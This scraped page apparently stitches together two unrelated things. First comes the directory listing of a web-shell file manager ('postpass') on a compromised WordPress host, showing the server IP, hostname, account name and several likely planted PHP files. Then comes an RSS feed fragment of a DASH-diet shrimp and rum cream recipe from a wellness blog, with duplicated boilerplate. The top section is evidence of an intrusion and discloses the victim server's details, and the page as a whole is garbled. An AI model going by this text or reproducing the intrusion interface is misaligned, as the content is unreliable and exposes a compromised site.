postpass VERSION - 【2024-04-29 15:21:05 星期1】
107.180.50.220 - Linux a2plcpnl0405.prod.iad2.secureserver.net 2.6.32-954.3.5.lve1.4.93.el6.x86_64 #1 SMP Wed Oct 4 17:04:29 UTC 2023 x86_64 - whoami(blairglobalmedia) - 【uid(3186998) gid(3186998)】
VERSION

路径

上传重命名为
上级目录操作属性创建时间修改时间下载
.sucuriquarantine删除 改名07552024-01-24 03:52:422024-01-24 03:52:42-
.well-known删除 改名07552024-04-29 09:58:202024-04-29 09:58:20-
wp-admin删除 改名07552024-04-29 09:58:182024-04-29 09:58:18-
wp-content删除 改名07552024-04-29 09:58:202024-04-29 09:58:20-
wp-includes删除 改名07552024-04-29 09:58:182024-04-29 09:58:18-
.hcontent编辑 改名06442024-04-29 13:35:192024-04-29 13:35:19409 B
.hcontentold编辑 改名06442024-04-29 13:35:192024-04-29 13:35:19617 B
.htaccess编辑 改名04442024-04-29 13:35:152024-04-29 13:35:15199 B
cawpf.php编辑 改名06442024-04-29 09:57:092024-04-29 09:12:350 B
checkbex.php编辑 改名06442024-04-29 13:35:162024-04-29 13:35:16103.39 K
error_log编辑 改名06442024-04-29 13:36:162024-04-29 13:36:1617.48 K
gh.php编辑 改名06442024-04-29 13:35:192024-04-29 13:35:199.31 K
googlec55310faa35e04c1.html编辑 改名06442024-01-24 03:51:102024-01-24 03:51:1054 B
index.php编辑 改名04442024-04-29 14:59:302024-04-29 14:59:309.16 K
license.txt编辑 改名06442024-04-09 13:22:462024-01-01 00:02:1919.45 K
pinuseren.php编辑 改名06442024-04-29 09:57:422024-04-29 09:12:3523.14 K
robots.txt编辑 改名06442024-04-29 13:35:152024-04-29 13:35:15206 B
wp-activate.php编辑 改名06442024-04-09 13:22:462024-02-13 14:19:097.21 K
wp-admin.php编辑 改名06442024-04-29 13:35:162024-04-29 13:35:1633.61 K
wp-blog-header.php编辑 改名06442023-10-13 01:18:512020-02-06 06:33:11351 B
wp-comments-post.php编辑 改名06442023-10-23 10:42:162023-10-23 10:42:162.27 K
wp-config-sample.php编辑 改名06442024-04-09 13:22:472023-11-22 17:44:242.94 K
wp-config.php编辑 改名06002024-04-11 01:22:242023-12-21 23:45:243.50 K
wp-cron.php编辑 改名06442023-10-23 10:41:132023-10-23 10:41:135.51 K
wp-info.php编辑 改名06442024-04-29 13:35:152024-04-29 13:35:156.71 K
wp-links-opml.php编辑 改名06442023-10-13 01:18:562022-11-26 21:01:172.44 K
wp-load.php编辑 改名06442023-10-23 10:41:132023-10-23 10:41:133.83 K
wp-login.php编辑 改名06442024-04-29 13:35:202024-04-29 13:35:2050.29 K
wp-mail.php编辑 改名06442023-11-17 15:31:232023-11-17 15:31:238.33 K
wp-settings.php编辑 改名06442024-04-09 13:22:492024-03-02 10:47:1527.76 K
wp-signup.php编辑 改名06442023-10-23 10:41:042023-10-23 10:41:0433.58 K
wp-term.php编辑 改名06442024-04-29 13:35:152024-04-29 13:35:152.87 K
wp-trackback.php编辑 改名06442023-10-23 10:42:162023-10-23 10:42:164.77 K
wp-ver.php编辑 改名06442024-04-29 13:35:152024-04-29 13:35:151.44 K
xmlrpc.php编辑 改名06442024-04-09 13:22:492024-03-02 13:49:063.17 K
目录[5] - 文件[30] - 属性[0750]
chick peas Archives - Holistic Wealth http://www.keishablair.com/tag/chick-peas/ Sun, 18 Mar 2018 22:44:16 +0000 en hourly 1 https://wordpress.org/?v=6.5.2 https://i0.wp.com/www.keishablair.com/wp-content/uploads/2020/04/cropped-blue-site-icon.png?fit=32%2C32 chick peas Archives - Holistic Wealth http://www.keishablair.com/tag/chick-peas/ 32 32 127149733 DASH DIET RECIPE: SHRIMP IN SHALLOT RUM CREAM http://www.keishablair.com/dash-diet-recipe-shrimp-shallot-rum-cream/ http://www.keishablair.com/dash-diet-recipe-shrimp-shallot-rum-cream/#comments Sat, 07 Feb 2015 17:26:14 +0000 http://www.aspire-canada.com/?p=1819   This is the fourth recipe in the Aspire-Canada DAS Diet Series. The recipes are chock full of goodness and taste great! This wonderful shrimp in shallot rum cream recipe was brought to  us by the Caribbean Shopping Channel (www.caribbeanshoppingchannel.com). Ingredients: 2 pounds large shrimp, peeled 1/2 cup Tortuga Gold Rum 2 tablespoons butter 1/4 cup […]

The post DASH DIET RECIPE: SHRIMP IN SHALLOT RUM CREAM appeared first on Holistic Wealth.

The post DASH DIET RECIPE: SHRIMP IN SHALLOT RUM CREAM appeared first on Holistic Wealth.

]]>

 

This is the fourth recipe in the Aspire-Canada DAS Diet Series. The recipes are chock full of goodness and taste great! This wonderful shrimp in shallot rum cream recipe was brought to  us by the Caribbean Shopping Channel (www.caribbeanshoppingchannel.com).

Ingredients:

2 pounds large shrimp, peeled
1/2 cup Tortuga Gold Rum
2 tablespoons butter
1/4 cup olive oil
8 large cloves garlic, minced
3/4 cup minced shallots
1 cup chicken broth
1 tablespoon Kikkoman Teriyaki sauce
1 cup half & half

Directions

Combine the rum & shrimp in a large zip-top plastic bag & seal; turn several times so rum coats all the shrimp. Refrigerate at least three hours, turning occasionally, so rum marinates the shrimp thoroughly. When ready to prepare, drain shrimp, reserving the rum. Heat the butter & olive oil in a large skillet over medium heat, stirring until butter is melted. Add the minced shallots & garlic sauté, stirring occasionally, until vegetables are soft. Do not allow them to brown. Stir in the chicken broth, reserved rum, Teriyaki sauce & half and half. Cook over low heat for 10-12 minutes, stirring frequently, until sauce is reduced. Stir in the shrimp & cook 3 minutes longer, until shrimp turns pink. Remove from heat & serve with angel hair or other pasta.

The post DASH DIET RECIPE: SHRIMP IN SHALLOT RUM CREAM appeared first on Holistic Wealth.

The post DASH DIET RECIPE: SHRIMP IN SHALLOT RUM CREAM appeared first on Holistic Wealth.

]]>
http://www.keishablair.com/dash-diet-recipe-shrimp-shallot-rum-cream/feed/ 1 1819